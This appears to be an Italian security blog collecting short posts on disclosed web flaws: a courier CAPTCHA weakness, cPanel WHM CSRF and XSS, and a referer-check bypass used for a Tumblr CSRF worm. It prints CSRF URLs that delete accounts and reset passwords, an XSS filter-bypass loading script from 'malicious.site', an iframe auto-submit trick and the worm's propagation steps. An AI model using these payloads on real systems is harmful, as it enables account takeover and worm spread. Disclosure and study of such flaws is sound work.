Presto saranno disponbili su OWASP TV i video della conferenza.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Per ora non sono state ancora pubblicate i dettagli del secondo servizio coinvolto a causa del fuso orario.
Per oggi 2 Luglio è statopublicato un XSS sul servizio HootSuite che permette la gestione di più account Twitter. Leggendo i commenti del post però sembra che ci siano altri XSS sul servizio oltre a quello segnalato dal MoTB.

L’idea è venuta ad Aviv Raff, già coinvolto nel Month Of Browser Bug creato da H.D. Moore, per mettere in luce quanto sia importante la cura della sicurezza dei servizi terzi che utilizzano le API di Twitter. Non ci vorrebbe molto a scrivere un worm che, sfruttando tutte queste vulnerabilità, impatti su un gran numero di utenti di Twitter.

Sarà sicuramente interessante leggere tutte le vulnerabilità che verranno pubblicate durante il mese.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

C’è un Corriere Espresso Italiano che per effettuare il tracciamento della spedizione chiede, oltre al solito numero di tracking, di compilare un form con le lettere che appaiono dentro un CAPTCHA.
La cosa simpatica è che l’url dell’immagine che viene richiamata attraverso il codice HTML punta ad una Servlet che disegna, attraverso il metodo ActionTracking.doGetCaptcha, le lettere del CAPTCHA grazie ad un paramentro presente nella query string:

<img src=”/ResourceServlet.html?execute2=ActionTracking.doGetCaptcha&ses_id=…&text_immagine=HNHILE” border=”0″>

ActionTracking.doGetCaptcha scrive le lettere ricevute in GET nella sessione corrente per poi poter controllare, nel passo successivo, la correttezza delle lettere inserite nel campo di testo. In questo modo, per automatizzare il processo di controllo di stato della spedizione, è possibile leggere direttamente nel codice HTML della prima pagina il parametro che viene utilizzato per richiamare il metodo ActionTracking.doGetCaptcha. In più è possibile forzare il salvataggio di lettere arbitrarie, all’interno della sessione, impostando il paramentro text_immagine a piacere.

Il CAPTCHA sopra è un tributo alle parole no-sense utilizzate nella trilogia “Amici miei”.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Nel dettaglio si tratta di due scoperte distinte, che se usate in accoppiata permettono di fare truncation del path in modo da aprire un file arbitrario presente sul filesystem del sistema o all’interno della open_basedir se configurata.

Consiglio di leggere l’advisory completa e magari il thread dedicato su Full Disclosure.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

You know you’re a computer security professional when:

[...]

You lock your screensaver with twice as much insistence when security friends are around than when strangers are, because you’re not nearly as worried about a stranger’s intentions.

[...]

You suspect that every banner and Flash ad on every Web site is hosting malicious JavaScript.

[...]

You resist every new application install because of the new attack vector opportunities it will bring.

[...]

Your cell phone is password-protected.

[...]

You always slow down when reading security guidance looking for the words “should,” “must,” “never,” and “always” — and you understand their importance.

Queste son solo alcune, l’articolo merita di essere letto.
Paranoia? Forse.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

cPanel è una applicazione Web proprietaria per l’automazione di server che forniscono Web Hosting, nata per semplificare il lavoro agli amministratori. Il software è diviso in due parti principali: cPanel e WHM (Web Host Manager). La prima è utilizzata dai clienti , i quali siti sono ospitati sul server, per gestire le varie configurazioni del proprio spazio. La seconda è utilizzata dall’amministratore e da eventuali rivenditori per la gestione dell’intera macchina e degli account dei clienti.

Di default WHM risponde alla porta 2086 (HTTP) e 2087 (HTTPS) del server dove l’applicazione è installata e utilizza autentication basic per l’accesso. Un accesso privilegiato su WHM permette il controllo a livello root della macchina. Ovvero le funzioni richiamabili da Web sono critiche per l’integrità del server.

Purtroppo però qualsiasi funzione è richiamabile tramite CSRF (Cross-site Request Forgery). L’attaccante, conoscendo la porta e il dominio dove la vittima (l’utente con privilegi su WHM) ha effettuato il login, può far visitare una pagina appositamente creata contenente un url, caricata ad esempio con il tag “<img>”, simile a questa https://host_of_cpanel:2087/scripts/killacctlist?domain=victim.com&user=victim
Non credo serva dell’immaginazione per capire cosa succederà.
cPanel ha introltre sviluppato delle API in formato XML per semplificare l’integrazione delle funzioni di amministrazione di WHM in software di terze parti. Le API utilizzano la stessa porta e lo stesso tipo di autenticazione di WHM, questo fa si che se la vittima ha attiva una sessione su WHM possono essere usate le API XML per condurre attacchi CSRF in maniera semplificata. Ad esempio una url di questo tipo https://host_of_cpanel:2087/xml-api/passwd?user=victim&pass=0wnedpasswd permette di modificare la password di un qualsiasi utente presente sul server.

Le funzioni di WHM soffrono anche di problemi nell’input-validation nel caso specifico XSS (Cross-site Scripting). Era già stata creata una funzione di encoding HTML dei caratteri “pericolosi” per attacchi XSS, ma evidentemente non è stata implementata nel modo giusto. Utilizzando un numero arbitrario di parentesi angolari intorno al tag <script> è possibile bypassare il filtro:
>><<<<<<<<<<<<script src=”http://malicious.site/code.js” a=>>>>>>>><

Non vedo limiti di utilizzo di questa vulnerabilità; l’unico limite è la fantasia e una dose di social engineering. Mi sembra molto interessante poter recuperare la lista degli account presenti sul server.

Come spiegato anche nell’advisory originale, nelle versioni 11.18.4+ e 11.22.3+ le vulnerabilità XSS sono state risolte mentre quelle CSRF sono state mitigate inserendo un controllo dei referer HTTP al momento di una richiesta ad una funzione di WHM. Attenzione perchè, come spiegato nel post sul blog di cPanel, la funzione “anti-XSRF attacks” va abilitata a mano all’interno di “Tweak Settings”.

Spero che il prima possibile il core delle funzioni di WHM venga riscritto! Come già visto, nell’advisory su Tumblr, i referer HTTP non sono da utilizzare per funzioni anti-CSRF.

Maggiori riferimenti possono essere trovati su Secunia Advisory ID 30166 e come CVE-2008-2070 e CVE-2008-2071.
Segnalo inoltre che sono state segnalate vulnerabilità simili anche sulla parte en-user di cPanel: maggiori informazioni su Secunia ID 30027.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

In Spagna si lavora ad un sistema automatizzato per la gestione e la registrazione delle infrazioni stradali e relative multe. A tal scopo sarà utilizzato un database centralizzato in modo da poter smistare e verificare la mole di dati nazionali.
Il sistema sarà basato sul riconoscimento automatico delle targhe inviando così al database tutti i dati delle infrazioni.

L’immagine, presa da Alfredo Reino, è volutamente provocatoria ma quanto così distante dalla realtà?

Non sono l’unico ad aver pensato alle ZTL Italiane ed in particolare all’Ecopass di Milano: “Sql injection sul Gate di Milano?”

Grazie a pollycoke per l’assistenza sugli articoli in lingua spagnola.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Tumblr è un noto dominio dove si possono creare dei miniblog, meglio detti tumblelog. Ogni utente viene ospitato su sottodomini di tumblr.com (site:*.tumblr.com Risultati 125.000) oppure su un dominio proprio configurato per l’occasione. Questa configurazione porta ad eseguire codice JavaScript solamente nel dominio utilizzato per il proprio tumblelog: per le same-origin policy, non potrà essere sfruttato per attaccare la Dashboard, che risiede sul dominio www.tumblr.com.

Sono state prese ulteriori cautele dal punto di vista della sicurezza applicativa: ogni video è inserito nel proprio tumblelog innestandolo in un sotto dominio creato ad-hoc, i cookie hanno come path il dominio completo di www e ad ogni richiesta POST fatta per modificare/inserire il proprio profilo o micro-post viene controllato l’header Referer.
E’ stato proprio quest’ultima accortezza a destare i primi dubbi. Il controllo veniva soddisfatto solamente quando arrivava una richiesta da “www.tumblr.com/new/” oppure se il Referer era completamente vuoto.
Il Referer è un header di user-input ovvero viene inviato dal browser al server. E’ possibile, sfruttando qualche trick in JavaScript, magari non documentata, riuscire a modificare o addirittura cancellare il Referer al momento dell’invio di richieste POST o GET.
Alcune tecniche “storiche” nel frattempo risolte: Forging HTTP request header with Flash e Forging HTTP reeuqest header with XHR.
Ci sono anche altre tecniche tutt’ora funzionanti che sfruttando solamente JavaScript o HTML ad esempio:

<META HTTP-EQUIV=”refresh” CONTENT=”0;url=http://www.attacked.site”>

In questo modo il browser non invierà nessun referer ad www.attacker.site Il problema di questo approccio è la sfruttabilità solo in caso di richieste GET, nel caso di Tumblr la pagina della Dashboard accetta solamente il metodo POST.

Il metodo utilizzato per dimostrare che il controllo del referer come filtro anti Cross-Site Request Forgery, CSRF per gli amici, è stato quello presentato da Collin Jackson su sla.ckers.org:

<iframe src=”javascript:’<html><body onload=document.forms[0].submit();><form>….</form></body></html>’”;></iframe>

Viene invocata la funzione JavaScript passandogli tutto il necessario per creare un documento HTML ex-novo al volo. In questo modo il browser eseguirà le istruzioni al suo interno considerandolo come una entità a se stante.
Il metodo in oggetto l’ho correttamente testato su Opera 9, Firefox 2 e Internet Explorer 6. Solamente Internet Explorer 7 è immune da questa tecnica.

Presentata la tecnica sfruttata, è superfluo analizzare il sorgente, peraltro presente nell’articolo su PI. Esso non è altro che quanto visto sopra con in aggiunta tutti i campi del form necessari alla creazione di nuovo post sul tumblelog della vittima.

Il grafico seguente può riassumere la vita del worm (click per ingrandire):

1. Viene effettuato l’upload del codice sorgente del worm su un qualsiasi servizio di hosting
2. Viene inserito il worm nel tumblelog o un qualsiasi dominio in possesso all’attaccante
3. L’attaccante induce la vittima a visionare il dominio preparato ad-hoc
4. La vittima fa una richiesta alla pagina ospitate il worm
5. Il browser della vittima scarica il sorgente del worm
6. Il browser della vittima interpreta il codice sorgente del worm
7. Il worm effettua una richiesta CSRF verso la Dashboard di Tumblr…
8. …creando così un nuovo post nel tumblelog della vittima con riferimento al sorgente del worm
9. Tutti gli utenti che visiteranno un qualsiasi tumblelog compromesso reitereranno i passi dal punto 4 in poi

Per rendere possibile l’attacco CSRF implementato dal worm è necessario che le vittime abbiano una sessione attiva sulla Dashboard di Tumblr.

La vulnerabilità è stata corretta nel giro di pochi giorni ed ho deciso di presentarla solo come “case study”. Tumblr ha provveduto a cambiare il filtro sui Referer e ad implementare un token, univoco per ogni sessione, nei form utilizzati all’interno della Dashboard.

Avrei voluto parlarne prima ma gli impegni e l’OWASP day 2 me lo hanno impedito. Saluto a tal proposito Gianni Amato, Matteo Flora, Rosario Valotta e tutti i ragazzi di OWASP che ho avuto il piacere di conoscere.

“Oruga cerebral” photo credit: Gustavo Olivera

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

photo credit: ƒreg

E’ un momento assai tragicomico per il panorama politico su Web.
Non più di dieci giorni fa Roberto Scaccia segnalò una vulnerabilità sul sito del PD che ha dato il via ad una serie di segnalazioni a tutto campo. Punto Informatico, rifacendosi ad una pubblicazione di Matteo Flora, ha intitolato un articolo “Elezioni, siti Web a rischio?“. Lo stesso Flora ha rincarato la dose con un articolo dal titolo “La politica dell’ignoranza” da dove riporto:

Questi episodi ricordano come l’Italia, sotto questo versante, abbia ancora molto da imparare. Credo che sia assolutamente necessario iniziare a chiedere la qualità.

La lista dei siti Web politici è già lunga, ma sono sicuro che si potrebbe allungare ancora.
Continuare lo sproloquio di domini vulnerabili ha poco senso. Avrebbe senso, forse, segnalare le vulnerabilità attive ai proprietari e ai realizzatori, ma con quale speranza? Forse quella che, nella migliore della ipotesi, non si veda mai risposta.

Non è la fama che cerco, ma una maggiore consapevolezza nelle tecnologie utilizzate, altrimenti che senso ha utilizzarle come propaganda?

Non mi sembra che evitare XSS e SQL Injection (lasciando perdere le altre vulnerabilità meno di moda) sia così complesso. Ma si sa, in Italia, si corre ai ripari solo dopo che si finisce sui canali main-stream; “Striscia la Notizia” in primis. Che tristezza.

Internet è una massa critica, diversa da quella dei media tradizionali, ciò ne richiede un utilizzo consapevole e sincero. Proprio in questi ultimi giorni si è creata una intensa discussione e una lettera aperta dopo una intervista della Dott.sa. Graziottin a Porta a Porta.

Permettetemi un “plis visit de uebsait end plis pech ioars uebsait“.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)